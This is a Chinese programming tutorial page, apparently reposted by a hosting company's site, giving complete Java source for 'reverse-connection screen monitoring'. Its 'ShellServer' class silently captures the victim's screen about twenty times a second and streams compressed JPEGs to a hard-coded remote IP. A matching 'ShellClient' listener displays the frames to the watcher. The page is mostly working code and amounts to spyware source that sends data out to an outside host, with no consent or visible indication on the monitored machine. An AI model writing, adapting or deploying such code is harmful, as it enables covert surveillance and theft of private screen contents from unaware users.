快速业务通道

JAVA用TCP实现反向连接屏幕监视 - 编程入门网

作者 佚名技术 来源 NET编程 浏览 发布时间 2012-06-17

JAVA用TCP实现反向连接屏幕监视

时间:2011-04-03

以下这个为服务器类 被监视的用户

import com.sun.image.codec.jpeg.JPEGCodec; import com.sun.image.codec.jpeg.JPEGImageEncoder; import java.awt.Dimension; import java.awt.Rectangle; import java.awt.Robot; import java.awt.Toolkit; import java.awt.image.BufferedImage; import java.io.FileOutputStream; import java.io.IOException; import java.net.Socket; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; public class ShellServer extends Thread{ private Dimension screenSize; private Rectangle rectangle; private Robot robot; private JPEGImageEncoder encoder; public ShellServer() { screenSize = Toolkit.getDefaultToolkit().getScreenSize(); rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域 try{ robot = new Robot(); }catch(Exception e){ e.printStackTrace(); System.out.println(e); } } public void run(){ ZipOutputStream os = null; Socket socket=null; while (true){ try{ socket = new Socket("220.173.44.158",5000);//连接远程IP BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域 os = new ZipOutputStream(socket.getOutputStream());//加入压缩流 //os = new ZipOutputStream(new FileOutputStream("C:/1.zip")); os.setLevel(9); os.putNextEntry(new ZipEntry("1.jpg")); JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG os.close(); Thread.sleep(50);//每秒20帧 }catch(Exception e){ e.printStackTrace(); }finally{ if(os!=null){ try{ os.close(); }catch(Exception ioe){} } if(socket!=null){ try { socket.close(); } catch (IOException e) { } } } } } public static void main(String[] args) { new ShellServer().start(); } }

JAVA用TCP实现反向连接屏幕监视(2)

时间:2011-04-03

以下这个为客户端类 监视者

import java.awt.*; import java.awt.image.BufferedImage; import javax.imageio.ImageIO; import javax.swing.*; import java.io.*; import java.net.ServerSocket; import java.net.Socket; import java.util.zip.ZipInputStream; public class ShellClient extends JFrame{ Dimension screenSize; public ShellClient() { super(); screenSize = Toolkit.getDefaultToolkit().getScreenSize(); this.setSize(800, 640);//设置Frame初始 Screen p = new Screen();//屏幕类 Container c = this.getContentPane(); c.setLayout(new BorderLayout());//布局 c.add(p,"Center");//添加一个Panel new Thread(p).start();//开启线程 this.show();//显示本Frame } public static void main(String[] args){ new ShellClient(); } class Screen extends JPanel implements Runnable{ private Image cimage; public void run(){ ServerSocket ss=null; try{ ss=new ServerSocket(5000);//探听5000端口的连接 while(true){ Socket s=null; try{ s=ss.accept();//获取一个SOCKET ZipInputStream zis=new ZipInputStream(s.getInputStream()); zis.getNextEntry();//获得ZIP流的ENTRY cimage = ImageIO.read(zis);//把ZIP流转换为图片 //cimage = ImageIO.read(new FileInputStream("c:/1.jpg")); repaint();//重画 }catch(Exception e){ e.printStackTrace(); }finally{ if(s!=null){ try {s.close();} catch (IOException e) {} } } } }catch(Exception e){} finally{ if(ss!=null){ try {ss.close();} catch (IOException e) {} } } } public Screen() { super(); this.setLayout(null); } public void paint(Graphics g){ super.paint(g); Graphics2D g2 = (Graphics2D) g; g2.drawImage(cimage, 0, 0, null); } } }

主要采用了TCP协议+压缩流~ 速度还可以!不过觉得还可以优化,用UDP+动态的矩阵迟点再改进吧!

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号